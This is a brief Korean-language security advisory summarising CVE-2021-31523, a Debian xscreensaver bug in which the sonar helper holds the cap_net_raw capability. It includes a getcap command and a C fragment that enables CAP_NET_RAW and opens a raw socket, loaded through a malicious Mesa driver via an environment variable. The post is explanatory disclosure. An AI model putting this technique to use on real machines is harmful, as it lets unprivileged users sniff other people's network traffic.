[하루한줄] CVE-2021-31523: linux 화면보호기 xscreensaver의 소켓 정보유출 취약점

URL

Issue 2174: xscreensaver: raw socket leaked

Target

  • Debian xscreensaver 5.42 + dfsg1-1

Explain

linux용 오픈소스 화면 보호기인 xscreensaver의 debian 배포판에서 발견된 소켓 정보유출 취약점의 세부 정보가 공개되었습니다.

xscreensaver의 다음 경로에 일반 계정의 패킷 캡처를 허용하는 cap_net_raw=p 권한이 활성화되어있습니다.

$ getcap /usr/libexec/xscreensaver/sonar
/usr/libexec/xscreensaver/sonar cap_net_raw=p

해커는 이러한 권한을 이용해 원시 소켓을 얻고 정보를 출력하는 코드를 포함하거나 tcpdump 명령어를 실행하는 드라이버를 컴파일합니다.

// Enable CAP_NET_RAW
caps = cap_get_proc();
cap_set_flag(caps, CAP_EFFECTIVE, 1, caplist, CAP_SET);
cap_set_proc(caps);
cap_free(caps);

// Now we can get a raw socket.
sock = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);

이를 MESA_LOADER_DRIVER_OVERRIDE 환경변수 설정을 통해 xscreensaver에서 로드하도록 하면 root가 아닌 일반 사용자 계정에서 소켓 정보를 유출할 수 있습니다.